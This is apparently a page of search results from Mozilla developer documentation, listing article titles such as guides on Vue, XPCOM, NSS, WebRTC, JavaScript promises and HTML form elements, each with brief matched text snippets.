...this can only be a good thing — browsers can optimize loading of modules, making it more efficient than having to use a library and do all of that extra client-side processing and extra round trips.
...And 52 more matches
Getting started with Vue - Learn web development
in this article we'll look at a little bit of vue background, learn how to install it and create a new project, study the high-level structure of the whole project and an individual component, see how to run the project locally, and get it prepared to start building our example.
... objective: to setup a local vue development environment, create a starter app, and understand the basics of how it works.
... a clearer vue vue is a modern javascript framework that provides useful facilities for progressive enhancement — unlike many other frameworks, you can use vue to enhance existing html.
...And 51 more matches
sample2
if a copy of the mpl was not distributed with this * file, you can obtain one at http://mozilla.org/mpl/2.0/.
...define mac_header "-----begin mac-----" #define mac_trailer "-----end mac-----" #define pad_header "-----begin pad-----" #define pad_trailer "-----end pad-----" #define lab_header "-----begin key label-----" #define lab_trailer "-----end key label-----" #define pubkey_header "-----begin pub key -----" #define pubkey_trailer "-----end pub key -----" #define ns_certreq_header "-----begin new certificate request-----" #define ns_certreq_trailer "-----end new certificate request-----" #define ns_cert_enc_header "-----begin certificate for encryption-----" #define ns_cert_enc_trailer "-----end certificate for encryption-----" #define ns_cert_vfy_header "-----begin certificate for signature verification-----" #define ns_cert_vfy_trailer "-----end certificate for signature verification-----" #defin...
...e ns_sig_header "-----begin signature-----" #define ns_sig_trailer "-----end signature-----" #define ns_cert_header "-----begin certificate-----" #define ns_cert_trailer "-----end certificate-----" /* missing publically from nss versions earlier than 3.13 */ #ifndef sec_error_base #define sec_error_base (-0x2000) typedef enum { sec_error_io = sec_error_base + 0, sec_error_token_not_logged_in = (sec_error_base + 155), sec_error_end_of_list } secerrorcodes; #endif /* port_errortostring introduced in nss 3.13.
...And 51 more matches
Finishing the Component
the component will be recognized by xpcom and registered with the category manager so that it starts up when xpcom initializes.
... when the component starts up, it populates a list of urls read in from a file stored next to the gecko binary on the local system.
... all of the mozilla source code is publicly available, and interfaces can be used easily enough.
...And 51 more matches
Using XPCOM Utilities to Make Things Easier
to begin with, the first section describesc++ macros that can replace a lot of the code in weblock1.cpp.
... much of the code created to get the software recognized and registered as a component can be reduced to a small data structure and a single macro.
...though they overlap somewhat (e.g., high-level macros expand to other macros), they fall into the following general categories.
...And 51 more matches
nsIDocShell
note that out-of-process browsers do not have an nsidocshell; instead you can access the nsidocshell object from a frame script.
..., in domstring aurl, in boolean areplace); void beginrestore(in nsicontentviewer viewer, in boolean top); void createaboutblankcontentviewer(in nsiprincipal aprincipal); void createloadinfo(out nsidocshellloadinfo loadinfo); void detacheditorfromwindow(); violates the xpcom interface guidelines void finishrestore(); void firepagehidenotification(in boolean isunload); native code only!
... void fireunloadnotification(); native code only!
...And 51 more matches
Debugger.Frame - Firefox Developer Tools
given a debugger.frame instance, you can find the script the frame is executing, walk the stack to older frames, find the lexical environment in which the execution is taking place, and so on.
...every handler method called while the debuggee is running in a given frame is given the same frame object.
...debugger code can add its own properties to a frame object and expect to find them later, use == to decide whether two expressions refer to the same frame, and so on.
...And 51 more matches
Writing WebSocket servers - Web APIs
a websocket server is nothing more than an application listening on any port of a tcp server that follows a specific protocol.
... the task of creating a custom server tends to scare people; however, it can be straightforward to implement a simple websocket server on your platform of choice.
... a websocket server can be written in any server-side programming language that is capable of berkeley sockets, such as c(++), python, php, or server-side javascript.
...And 51 more matches
<img>: The Image Embed element - HTML: Hypertext Markup Language
WebHTMLElementimg
alt text is also displayed on the page if the image can't be loaded for some reason: for example, network errors, content blocking, or linkrot.
...ft icon image/x-icon .ico, .cur chrome, edge, firefox, internet explorer, opera, safari jpeg joint photographic expert group image image/jpeg .jpg, .jpeg, .jfif, .pjpeg, .pjp chrome, edge, firefox, internet explorer, opera, safari png portable network graphics image/png .png chrome, edge, firefox, internet explorer, opera, safari svg scalable vector graphics image/svg+xml .svg chrome, edge, firefox, internet explorer, opera, safari tiff tagged image file format image/tiff .tif, .tiff none built-in; add-ons required webp web picture format image/webp .webp chrome, edge, firefox, opera the abbreviation for each format links to a longer description of the format, its capabili...
... image loading errors if an error occurs while loading or rendering an image, and an onerror event handler has been set on the error event, that event handler will get called.
...And 51 more matches
<input type="url"> - HTML: Hypertext Markup Language
WebHTMLElementinputurl
the input value is automatically validated to ensure that it's either empty or a properly-formatted url before the form can be submitted.
... the :valid and :invalid css pseudo-classes are automatically applied as appropriate to visually denote whether the current value of the field is a valid url or not.
... value the <input> element's value attribute contains a domstring which is automatically validated as conforming to url syntax.
...And 51 more matches
Choosing Standards Compliance Over Proprietary Practices - Archive of obsolete content
overview there are a number of standards, procedures, and processes that an organization can use.
...technical (what do we follow).
...they may also incorporate external procedural and/or technical standards.
...And 50 more matches
Advanced form styling - Learn web development
previous overview: forms next in this article, we will see what can be done with css to style the types of form control that are more difficult to style — the "bad" and "ugly" categories.
... objective: to understand what parts of forms are hard to style, and why; to learn what can be done to customize them.
... to recap what we said in the previous article, we have: the bad: some elements are more difficult to style, requiring more complex css or some more specific tricks: checkboxes and radio buttons <input type="search"> the ugly: some elements can't be styled thoroughly using css.
...And 50 more matches
Using images - Web APIs
one of the more exciting features of <canvas> is the ability to use images.
... these can be used to do dynamic photo compositing or as backdrops of graphs, for sprites in games, and so forth.
... external images can be used in any format supported by the browser, such as png, gif, or jpeg.
...And 50 more matches
Fundamentals of WebXR - Web APIs
webvr was generally considered to be an experimental api designed to help specification writers determine the best approaches to creating an api for virtual reality on the web.
... as browser developers built support for webvr and allowed developers to experiment, it became clear that in order to finish an api for virtual environments on the web, it would make more sense to start a new specification than to try to "fix" webvr.
...the most obvious difference, at the highest level, is that webxr supports not just virtual reality applications, but also augmented reality, which blends virtual objects with the user's true physical environment.
...And 50 more matches
Cognitive accessibility - Accessibility
cognitive impairment refers to a broad range of disabilities, from people with intellectual disabilities who may have the most-limited capabilities, to age-related issues with thinking and remembering.
... though there is a lot of diversity within clinical definitions of cognitive impairments, people with them experience a common set of functional problems.
... these problems include difficulty with understanding content, remembering how to complete tasks, and confusion caused by inconsistent or non-traditional web page layouts.
...And 50 more matches
Indexed collections - JavaScript
for example, consider an array called emp, which contains employees' names indexed by their numerical employee number.
...however, you can use the predefined array object and its methods to work with arrays in your applications.
... the bracket syntax is called an "array literal" or "array initializer." it's shorter than other forms of array creation, and so is generally preferred.
...And 50 more matches
Populating the page: how browsers work - Web Performance
render time is key, with ensuring the main thread can complete all the work we throw at it and still always be available to handle user interactions.
... web performance can be improved by understanding the single-threaded nature of the browser and minimizing the main thread's responsibilities, where possible and appropriate, to ensure rendering is smooth and responses to interactions are immediate.
...in ideal conditions, this usually doesn't take too long, but latency and bandwidth are foes which can cause delays.
...And 50 more matches
The Box Model - Archive of obsolete content
it is important to know how it works in order to make interfaces that are easy to localize, skin and use in different types of operating systems, screen sizes and resolutions.
... the xul box model is a significant improvement over the html layout model, which is mostly vertical.
... with xul you can define vertically oriented as well as horizontally oriented interfaces, providing greater flexibility in interface design.
...And 49 more matches
Space Manager Detailed Design - Archive of obsolete content
overview the space manager and related classes and structures are an important of the gecko layout system, specifically block layout.
... nsspacemanager the space manager is the central class is a group of classes that manage the occupied and available space that exists in horizontal bands across a canvas.
...the class is only used in the layout module and cannot be exported outside of that module (nor does it need to be).
...And 49 more matches
Creating XULRunner Apps with the Mozilla Build System - Archive of obsolete content
in most cases, developers of xulrunner applications can download an existing sdk and follow the instructions in getting started with xulrunner.
...in some cases, however, you may want to use the mozilla build system to create your application.
... the only obvious reason for this would be if you need to implement part of your application in c++, as described in the introduction to the now classic creating custom firefox extensions with the mozilla build system.
...And 49 more matches
NSS functions
section headings are links to the individual pages where you can edit them.
... keywords: deprecated - function should no longer be used.
... ssl functions the public functions listed here are used to configure sockets for communication via the ssl and tls protocols.
...And 49 more matches
Address Book examples
note: thunderbird and seamonkey user interfaces now reference 'contacts' not 'cards' however, as the backend still uses the 'cards' terminology, that is what is used here this article provides examples on accessing and manipulating thunderbird address books.
...this can be obtained via nsiabdirectory.uri.
... once you have an object that implements nsiabcollection (see above), you can search for cards with particular properties within that collection using getcardfromproperty.
...And 49 more matches
Migrating from Firebug - Firefox Developer Tools
that means that when you open a page on the same origin in a different tab, firebug gets opened automatically.
... and when you open a page of a different origin in the same tab, it closes automatically.
... open the tools firebug can be opened by pressing f12.
...And 49 more matches
Transformations - Web APIs
« previousnext » earlier in this tutorial we've learned about the canvas grid and the coordinate space.
... until now, we only used the default grid and changed the size of the overall canvas for our needs.
... with transformations there are more powerful ways to translate the origin to a different position, rotate the grid and even scale it.
...And 49 more matches
WebRTC API - Web APIs
webrtc (web real-time communication) is a technology which enables web applications and sites to capture and optionally stream audio and/or video media, as well as to exchange arbitrary data between browsers without requiring an intermediary.
... interoperability because implementations of webrtc are still evolving, and because each browser has different levels of support for codecs and webrtc features, you should strongly consider making use of the adapter.js library provided by google before you begin to write your code.
... webrtc concepts and usage webrtc serves multiple purposes; together with the media capture and streams api, they provide powerful multimedia capabilities to the web, including support for audio and video conferencing, file exchange, screen sharing, identity management, and interfacing with legacy telephone systems including support for sending dtmf (touch-tone dialing) signals.
...And 49 more matches
Mozilla Crypto FAQ - Archive of obsolete content
now that the rsa patent is in the public domain, mozilla crypto development can proceed with minimal restrictions.
...in february 2000 iplanet e-commerce solutions (a sun-netscape alliance) released source code through mozilla.org for the personal security manager and network security services software; this source code included support for the ssl protocol, but due to the rsa patent and related legal issues it did not originally contain code for rsa or other cryptographic algorithms.
... this new rsa-capable version of nss will then be included in a future version of the open source psm software, which will provide ssl support for mozilla.
...And 48 more matches
Templates - Archive of obsolete content
however, you can use other elements if you want although they are more useful for specialized cases.
... nevertheless, we'll start with these other elements because trees and menus require more code.
... to allow the creation of elements based on rdf data, you need to provide a simple template which will be duplicated for each element that is created.
...And 48 more matches
2D maze game with device orientation - Game development
you can check it out on github where it’s open sourced, read the online documentation and go through the big collection of examples.
... the phaser framework provides you with a set of tools that will speed up development and help handle generic tasks needed to complete the game, so you can focus on the game idea itself.
... starting with the project you can see cyber orb source code on github.
...And 48 more matches
Introduction to the server side - Learn web development
objective: to gain familiarity with what server-side programming is, what it can do, and how it differs from client-side programming.
... most large-scale websites use server-side code to dynamically display different data when needed, generally pulled out of a database stored on a server and sent to the client to be displayed via some code (e.g.
... perhaps the most significant benefit of server-side code is that it allows you to tailor website content for individual users.
...And 48 more matches
Componentizing our Svelte app - Learn web development
repl to code along with us using the repl, start at https://svelte.dev/repl/99b9eb228b404a2f8c8959b22c0a40d3?version=3.23.2 breaking the app into components in svelte, an application is composed from one or more components.
... a component is a reusable, self-contained block of code that encapsulates html, css and javascript that belong together, written into a .svelte file.
... components can be big or small, but they are usually clearly defined: the most effective components serve a single, obvious purpose.
...And 48 more matches
Gecko Profiler FAQ
mstange and ehsan tried to respond to some of the questions in advance in writing, and you can find the answers below.
... is it possible to locate hot spots occurring within a single function?
... for js code, the profiler platform doesn’t capture any information about lines.
...And 48 more matches
Component; nsIPrefBranch
this object may be obtained from the preferences service (nsiprefservice) and used to get and set default and/or user preferences across the application.
...for example, if this object is created with the root "browser.startup.", the preferences "browser.startup.page", "browser.startup.homepage", and "browser.startup.homepage_override" can be accessed by simply passing "page", "homepage", or "homepage_override" to the various get/set methods.
...n string avalue); requires gecko 58 void setstringpref(in string aprefname, in utf8string avalue); void setcomplexvalue(in string aprefname, in nsiidref atype, in nsisupports avalue); void setintpref(in string aprefname, in long avalue); void unlockpref(in string aprefname); attributes attribute type description root string called to get the root on which this branch is based, such as "browser.startup." read only.
...And 48 more matches
Waterfall - Firefox Developer Tools
it's based on the idea that the things a browser does when running a site can be divided into various types - running javascript, updating layout, and so on - and that at any given point in time, the browser is doing one of those things.
... so if you see a sign of a performance problem - a drop in the frame rate, for example - you can go to the waterfall to see what the browser was doing at that point in the recording.
...recorded operations, called markers, are shown as horizontal bars, laid out in a waterfall to reflect the serial nature of the browser's execution.
...And 48 more matches
MediaDevices.getUserMedia() - Web APIs
that stream can include, for example, a video track (produced by either a hardware or virtual video source such as a camera, video recording device, screen sharing service, and so forth), an audio track (similarly, produced by a physical or virtual audio source like a microphone, a/d converter, or the like), and possibly other track types.
... generally, you will access the mediadevices singleton object using navigator.mediadevices, like this: async function getmedia(constraints) { let stream = null; try { stream = await navigator.mediadevices.getusermedia(constraints); /* use the stream */ } catch(err) { /* handle the error */ } } similarly, using the raw promises directly, the code looks like this: navigator.mediadevices.getusermedia(constraints) .then(function(stream) { /* use the stream */ }) .catch(function(err) { /* handle the error */ }); note: if the current document isn't loaded securely, navigator.mediadevices will be undefined, and you cannot use getusermedia().
...if the browser cannot find all media tracks with the specified types that meet the constraints given, then the returned promise is rejected with notfounderror.
...And 48 more matches
Pointer events - Web APIs
the pointer is a hardware-agnostic device that can target a specific set of screen coordinates.
... having a single event model for pointers can simplify creating web sites and applications and provide a good user experience regardless of the user's hardware.
...for example, in the case of a pen, when the pen has physical contact with the digitizer, or at least one button is depressed while hovering.
...And 48 more matches
L20n Javascript API
l20n javascript api var ctx = l20n.getcontext(); ctx.linkresource('./locales/strings.l20n'); ctx.requestlocales(); when you freeze the context by calling requestlocales, the resource files will be retrieved, parsed and compiled.
... you can listen to the ready event (emitted by the context instance when all the resources have been compiled) and use ctx.getsync and ctx.getentitysync to get translations synchronously.
... alternatively, you can register callbacks to execute when the context is ready (or when globals change and translations need to be updated) with ctx.localize.
...And 47 more matches
nsIContentPrefService2
dom/interfaces/base/nsicontentprefservice2.idlscriptable asynchronous api for content preferences 1.0 66 introduced gecko 20.0 inherits from: nsisupports last changed in gecko 20.0 (firefox 20.0 / thunderbird 20.0 / seamonkey 2.17) description content preferences allow the application to associate arbitrary data, or "preferences", with specific domains, or web "content".
... specifically, a content preference is a structure with three values: a domain with which the preference is associated, a name that identifies the preference within its domain, and a value.
...a preference need not have a domain, and in that case the preference is called a "global" preference.
...And 47 more matches
Debugger.Object - Firefox Developer Tools
the referent’s properties do not appear directly as properties of the debugger.object instance; the debugger can access them only through methods like debugger.object.prototype.getownpropertydescriptor and debugger.object.prototype.defineproperty, ensuring that the debugger will not inadvertently invoke the referent’s getters and setters.
... spidermonkey creates exactly one debugger.object instance for each debuggee object it presents to a given debugger instance: if the debugger encounters the same object through two different routes (perhaps two functions are called on the same object), spidermonkey presents the same debugger.object instance to the debugger each time.
... this means that the debugger can use the == operator to recognize when two debugger.object instances refer to the same debuggee object, and place its own properties on a debugger.object instance to store metadata about particular debuggee objects.
...And 47 more matches
Debugger - Firefox Developer Tools
the debugger object when called as a constructor, the debugger object creates a new debugger instance.
... accessor properties of the debugger prototype object a debugger instance inherits the following accessor properties from its prototype: enabled a boolean value indicating whether this debugger instance’s handlers, breakpoints, and the like are currently enabled.
... allowunobservedasmjs a boolean value indicating whether asm.js code running inside this debugger instance’s debuggee globals is invisible to debugger api handlers and breakpoints.
...And 47 more matches
HTMLMediaElement - Web APIs
the htmlmediaelement interface adds to htmlelement the properties and methods needed to support basic media-related capabilities that are common to audio and video.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 30%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 180" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2...
... htmlmediaelement.autoplay a boolean that reflects the autoplay html attribute, indicating whether playback should automatically begin as soon as enough media is available to do so without interruption.
...And 47 more matches
Control flow and error handling - JavaScript
« previousnext » javascript supports a compact set of statements, specifically control flow statements, that you can use to incorporate a great deal of interactivity in your application.
... "standalone" blocks in javascript can produce completely different results from what they would produce in c or java.
... for example: var x = 1; { var x = 2; } console.log(x); // outputs 2 this outputs 2 because the var x statement within the block is in the same scope as the var x statement before the block.
...And 47 more matches
Using Promises - JavaScript
essentially, a promise is a returned object to which you attach callbacks, instead of passing callbacks into a function.
... imagine a function, createaudiofileasync(), which asynchronously generates a sound file given a configuration record and two callback functions, one called if the audio file is successfully created, and the other called if an error occurs.
... here's some code that uses createaudiofileasync(): function successcallback(result) { console.log("audio file ready at url: " + result); } function failurecallback(error) { console.error("error generating audio file: " + error); } createaudiofileasync(audiosettings, successcallback, failurecallback); modern functions return a promise that you can attach your callbacks to instead: if createaudiofileasync() were rewritten to return a promise, using it could be as simple as this: createaudiofileasync(audiosettings).then(successcallback, failurecallback); that's shorthand for: const promise = createaudiofileasync(audiosettings); promise.then(successcallback, failurecallback); we call this an asynchronous function call.
...And 47 more matches
Using the WebAssembly JavaScript API - WebAssembly
note: you can find the sample code in our webassembly-examples github repo.
...grab our simple.wasm file and save a copy in a new directory on your local machine.
... next, let’s create a simple html file called index.html in the same directory as your wasm file (can use our simple template if you haven’t got one easily available).
...And 47 more matches
ui/button/toggle - Archive of obsolete content
with this module you can create buttons that function like a check box, representing an on/off choice.
... toggle buttons have all the same features as action buttons: they can display icons and respond to click events.
... like action buttons, you can control their state on a per-window or per-tab basis as well as globally.
...And 46 more matches
Custom toolbar button - Archive of obsolete content
(for seamonkey 1.x, see the page custom toolbar button:seamonkey.) you do not need any special technical skills or tools, and almost all the information you need is on this page.
... you can use the sample code provided here to make buttons that do various useful things.
... if you know how to program in javascript, then you can write your own code that does other things.
...And 46 more matches
Getting started with XULRunner - Archive of obsolete content
next » this article explores the mozilla platform by building a basic desktop application using xulrunner.
... given that firefox, thunderbird, and multiple other applications are written using the platform, it's a safe bet that it can be used to build a basic application.
... there is an article with a more complicated approach to building xulrunner applications at creating xulrunner apps with the mozilla build system.
...And 46 more matches
RDF in Mozilla FAQ - Archive of obsolete content
it describes thousands of web sites using a mix of the dublin core metadata vocabulary and the dmoz taxonomy.
... rdf can generally be viewed in two ways: either as a graph with nodes and arcs, or as a "soup" of logical statements.
... in mozilla, datasources can be composed together using the composite data source.
...And 46 more matches
CSS and JavaScript accessibility best practices - Learn web development
or they can significantly harm accessibility if misused.
...if you don't, it can cause confusion and usability issues for everyone, but particularly users with disabilities.
... as an example, a screen reader user can't navigate a page via heading elements if the developer hasn't appropriately used heading elements to markup the content.
...And 46 more matches
Beginner's guide to media queries - Learn web development
media queries are a key part of responsive web design, as they allow you to create different layouts depending on the size of the viewport, but they can also be used to detect other things about the environment your site is running on, for example whether the user is using a touchscreen rather than a mouse.
... media types the possible types of media you can specify are: all print screen speech the following media query will only set the body to 12pt if the page is printed.
... @media print { body { font-size: 12pt; } } note: the media type here is different from the so-called mime type.
...And 46 more matches
UI pseudo-classes - Learn web development
objective: to understand what parts of forms are hard to style, and why; to learn what can be done to customize them.
...while it is being clicked on, or when the return/enter key is being pressed down in the case of a keyboard activation).
...more recently, the css selector level 3 and css basic ui level 3 added more pseudo-classes related to html forms that provide several other useful targetting conditions that you can take advantage of.
...And 46 more matches
Introduction to events - Learn web development
previous overview: building blocks next events are actions or occurrences that happen in the system you are programming, which the system tells you about so you can respond to them in some way if desired.
... a series of fortunate events as mentioned above, events are actions or occurrences that happen in the system you are programming — the system produces (or "fires") a signal of some kind when an event occurs, and provides a mechanism by which an action can be automatically taken (that is, some code running) when the event occurs.
... for example, in an airport, when the runway is clear for take off, a signal is communicated to the pilot.
...And 46 more matches
sslcrt.html
upgraded documentation may be found in the current nss reference certificate functions chapter 5 certificate functions this chapter describes the functions and related types used to work with a certificate database such as the cert7.db database provided with communicator.
... validating certificates manipulating certificates getting certificate information comparing secitem objects validating certificates cert_verifycertnow cert_verifycertname cert_checkcertvalidtimes nss_cmpcertchainwcanames cert_verifycertnow checks that the current date is within the certificate's validity period and that the ca signature on the certificate is valid.
... syntax #include <cert.h> secstatus cert_verifycertnow( certcertdbhandle *handle, certcertificate *cert, prbool checksig, seccertusage certusage, void *wincx); parameters this function has the following parameters: handle a pointer to the certificate database handle.
...And 46 more matches
Scripting Java
we can test java classes by writing scripts.
... we can also aid our java development by using scripting for exploratory programming.
... exploratory programming is the process of learning about what a library or api can do by writing quick programs that use it.
...And 46 more matches
Building the WebLock UI
« previousnext » up until now, we've been building a component that can be installed in any gecko application.
... the xpcom interfaces and tools you've used have been general, cross-platform, and available in the gecko runtime environment or in any gecko-based application after mozilla 1.2 (when the gre began to be used).
...specifically, the user interface we create in this chapter will be overlaid into the statusbar of the browser component, where it will provide a small icon the user can click to access the web lock interface.
...And 46 more matches
WindowOrWorkerGlobalScope.setTimeout() - Web APIs
note that in either case, the actual delay may be longer than intended; see reasons for delays longer than specified below.
... return value the returned timeoutid is a positive integer value which identifies the timer created by the call to settimeout(); this value can be passed to cleartimeout() to cancel the timeout.
... it may be helpful to be aware that settimeout() and setinterval() share the same pool of ids, and that cleartimeout() and clearinterval() can technically be used interchangeably.
...And 46 more matches
Strict mode - JavaScript
this isn't an official term, but be aware of it, just in case.
...strict mode code and non-strict mode code can coexist, so scripts can opt into strict mode incrementally.
... fixes mistakes that make it difficult for javascript engines to perform optimizations: strict mode code can sometimes be made to run faster than identical code that's not strict mode.
...And 46 more matches
Custom XUL Elements with XBL - Archive of obsolete content
« previousnext » xml binding language (xbl, sometimes also called extensible bindings language) is a language for describing bindings that can be attached to elements in other documents.
... the element that the binding is attached to, called the bound element, acquires the new behavior specified by the binding.
... this somewhat cryptic explanation describes a very simple concept: with xbl you can create your own custom elements.
...And 45 more matches
CSS3 - Archive of obsolete content
css3 is the latest evolution of the cascading style sheets language and aims at extending css2.1.
...experimental parts are vendor-prefixed and should either be avoided in production environments, or used with extreme caution as both their syntax and semantics can change in the future.
...this was due to the fact that a few secondary features held back the whole specification.
...And 45 more matches
Legacy layout methods - Learn web development
for new projects, in most cases css grid layout will be used in combination with one or more other modern layout methods to form the basis for any layout.
...having studied grid layout you will probably be surprised how complicated this all seems!
...you can follow along by creating a new index.html file on your computer, filling it with a simple html template, and inserting the below code into it at the appropriate places.
...And 45 more matches
From object to iframe — other embedding technologies - Learn web development
these were embedded in a master document called a frameset, which allowed you to specify the area on the screen that each frame filled, rather like sizing the columns and rows of a table.
... a little while later (late 90s, early 2000s), plugin technologies became very popular, such as java applets and flash — these allowed web developers to embed rich content into webpages such as videos and animations, which just weren't available through html alone.
... finally, the <iframe> element appeared (along with other ways of embedding content, such as <canvas>, <video>, etc.) this provides a way to embed an entire web document inside another one, as if it were an <img> or other such element, and is used regularly today.
...And 45 more matches
NSS PKCS11 Functions
pkcs #11 functions this chapter describes the core pkcs #11 functions that an application needs for communicating with cryptographic modules.
... in particular, these functions are used for obtaining certificates, keys, and passwords.
...for applications this value should be null.
...And 45 more matches
JSAPI reference
note: the foss wiki page contains a few links to other libraries and programs that can make life easier when using spidermonkey and the jsapi.
...ntexts js_init added in spidermonkey 31 js_shutdown struct jsruntime js_newruntimeobsolete since jsapi 52 js_destroyruntime js_getruntimeprivate js_setruntimeprivate js_setnativestackquota added in spidermonkey 17 js_contextiteratorobsolete since jsapi 52 js_finish obsolete since jsapi 19 struct jscontext js_newcontext js_destroycontext js_destroycontextnogc js_setcontextcallback enum jscontextop js_getruntime js_getparentruntime added in spidermonkey 31 js_getobjectruntime added in spidermonkey 17 js_getcontextprivate js_setcontextprivate js_getsecondcontextprivate added in spidermonkey 17 js_setsecondcontextprivate added in spidermonkey 17 js_setinterruptcallback added in spidermonkey 31 js_getinterruptcallback added in spidermonkey 31...
... js_requestinterruptcallback added in spidermonkey 31 js_checkforinterrupt added in jsapi 45 js_destroycontextmaybegc obsolete since jsapi 14 js_setbranchcallback obsolete since javascript 1.9.1 js_setoperationcallback obsolete since jsapi 30 js_getoperationcallback obsolete since jsapi 30 js_triggeroperationcallback obsolete since jsapi 30 js_clearoperationcallback obsolete since javascript 1.9.1 js_getoperationlimit obsolete since javascript 1.9.1 js_setoperationlimit obsolete since javascript 1.9.1 js_max_operation_limit obsolete since javascript 1.9.1 js_operation_weight_base obsolete since javascript 1.9.1 js_setthreadstacklimit obsolete since jsapi 13 js_setscriptstackquota obsolete since javascript 1.8.6 js_setoptions obsolete since jsapi 27 js_getoptions obsolet...
...And 45 more matches
URLs - Plugins
uniform resource locator (url) protocols provide a means for locating and accessing resources that are available on the internet and on intranets.
... plug-ins can request and receive the data associated with urls of any type that the browser can handle, including http, ftp, news, mailto, and gopher.
... url scheme description about locates browser information or "fun" pages.
...And 45 more matches
<input type="email"> - HTML: Hypertext Markup Language
WebHTMLElementinputemail
the input value is automatically validated to ensure that it's either empty or a properly-formatted e-mail address (or list of addresses) before the form can be submitted.
... the :valid and :invalid css pseudo-classes are automatically applied as appropriate to visually denote whether the current value of the field is a valid e-mail address or not.
...mstring representing an e-mail address, or empty events change and input supported common attributes autocomplete, list, maxlength, minlength, multiple, name,pattern, placeholder, readonly, required, size, and type idl attributes list and value methods select() value the <input> element's value attribute contains a domstring which is automatically validated as conforming to e-mail syntax.
...And 45 more matches
Installing plugins to Gecko embedding browsers on Windows - Archive of obsolete content
this document presents the windows registry keys plugin installers can parse to determine where to install a given plugin (for mozilla browsers) on windows.
... since the prospect of embedded gecko browsers raises the scenario of more than one gecko-based browser that a netscape-style plugin can work with, it becomes important to let plugin developers know how to discover these browsers on a windows machine.
...for example, netscape 6.0 and 6.01 do not write any of these keys into the registry, and thus these keys are not available for plugin vendors to parse for these two browsers.
...And 44 more matches
The box model - Learn web development
in this lesson, we will take a proper look at the css box model so that you can build more complex layout tasks with an understanding of how it works and the terminology that relates to it.
...in most cases this means that the box will become as wide as its container, filling up 100% of the space available.
... padding, margin and border will cause other elements to be pushed away from the box unless we decide to change the display type to inline, elements such as headings (e.g.
...And 44 more matches
Basic math in JavaScript — numbers and operators - Learn web development
previous overview: first steps next at this point in the course we discuss math in javascript — how we can use operators and other features to successfully manipulate numbers to do our bidding.
...some of us like math, some of us have hated math ever since we had to learn multiplication tables and long division in school, and some of us sit somewhere in between the two.
... but none of us can deny that math is a fundamental part of life that we can't get very far without.
...And 44 more matches
Aprender y obtener ayuda - Learn web development
there are also are times when you'll get stuck and feel frustrated — even professional web developers feel like this regularly — and it pays to know about the most effective ways to try and get help so you can progress in your work.
... this article provides some hints and tips in both of these areas that will help you get more out of learning web development, as well as further reading so you can find out more information about each sub-topic should you wish..
... different learning methods it is interesting to consider that there are two main ways in which your brain learns things — focused and diffuse learning: focused learning is what you might more traditionally associate with academic subjects.
...And 44 more matches
Power profiling overview
web browsers are popular applications and can be power-intensive, and therefore can significantly affect battery life.
...reducing) the power consumption caused by firefox and firefox os.
...xeon) typically have two or more packages.
...And 44 more matches
Redis Tips
technically, this is true: it's a database that doesn't use sql.
... but obviously, calling ice cream a nowhale food doesn't give you any sense of how good the ice cream is, or what sets it apart from other kinds of food that aren't made from whale meat but that are also very unlike ice cream -- it just gives the whaling industry a way to lump together people who don't use their products.
... redis data types include: strings hashes lists sets ordered sets (called zsets in redis) transactions publishers and subscribers this table lists some common programming tasks and data structures, and suggests some redis functions or data structures for them: dictionary lookup set, get, setnx, etc.
...And 44 more matches
Element - Web APIs
WebAPIElement
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monos...
... element.localname read only a domstring representing the local part of the qualified name of the element.
... element.scrolltop a number representing number of pixels the top of the document is scrolled vertically.
...And 44 more matches
Timing element visibility with the Intersection Observer API - Web APIs
site structure: the html the site's structure is not too complicated.
... we'll be using css grid to style and lay out the site, so we can be pretty straightforward here: <div class="wrapper"> <header> <h1>a fake blog</h1> <h2>showing intersection observer in action!</h2> </header> <aside> <nav> <ul> <li><a href="#link1">a link</a></li> <li><a href="#link2">another link</a></li> <li><a href="#link3">one more link</a></li> </ul> </nav> </aside> <main> </main> </div> this is the framework for the entire site.
... body { font-family: "open sans", "arial", "helvetica", sans-serif; background-color: aliceblue; } .wrapper { display: grid; grid-template-columns: auto minmax(min-content, 1fr); grid-template-rows: auto minmax(min-content, 1fr); max-width: 700px; margin: 0 auto; background-color: aliceblue; } the site's <body> is configured here to use one of a number of common sans-serif fonts, and to use "aliceblue" as the background color.
...And 44 more matches
MIME types (IANA media types) - HTTP
a media type (also known as a multipurpose internet mail extensions or mime type) is a standard that indicates the nature and format of a document, file, or assortment of bytes.
... the internet assigned numbers authority (iana) is responsible for all official mime types, and you can find the most up-to-date and complete list at their media types page.
... structure of a mime type the simplest mime type consists of a type and a subtype; these are each strings which, when concatenated with a slash (/) between them, comprise a mime type.
...And 44 more matches
Closures - JavaScript
a closure is the combination of a function bundled together (enclosed) with references to its surrounding state (the lexical environment).
... lexical scoping consider the following example code: function init() { var name = 'mozilla'; // name is a local variable created by init function displayname() { // displayname() is the inner function, a closure alert(name); // use variable declared in the parent function } displayname(); } init(); init() creates a local variable called name and a function called displayname().
...note that the displayname() function has no local variables of its own.
...And 44 more matches
cfx - Archive of obsolete content
cfx usage is: cfx [options] command [command-specific options] "options" are global options applicable to the tool itself or to all commands (for example --help).
... cfx init create a new directory called "my-addon", change into it, and run cfx init.
...called with no options it looks for a file called package.json in the current directory, loads the corresponding add-on, and runs it under the version of firefox it finds in the platform's default install path.
...And 43 more matches
Appendix D: Loading Scripts - Archive of obsolete content
most add-ons and xul runner applications provide their primary functionality by loading and executing javascript code.
... because there are such a diverse array of add-ons, and because the needs of developers have grown organically over time, the gecko runtime provides a number of means to dynamically load and execute javascript files.
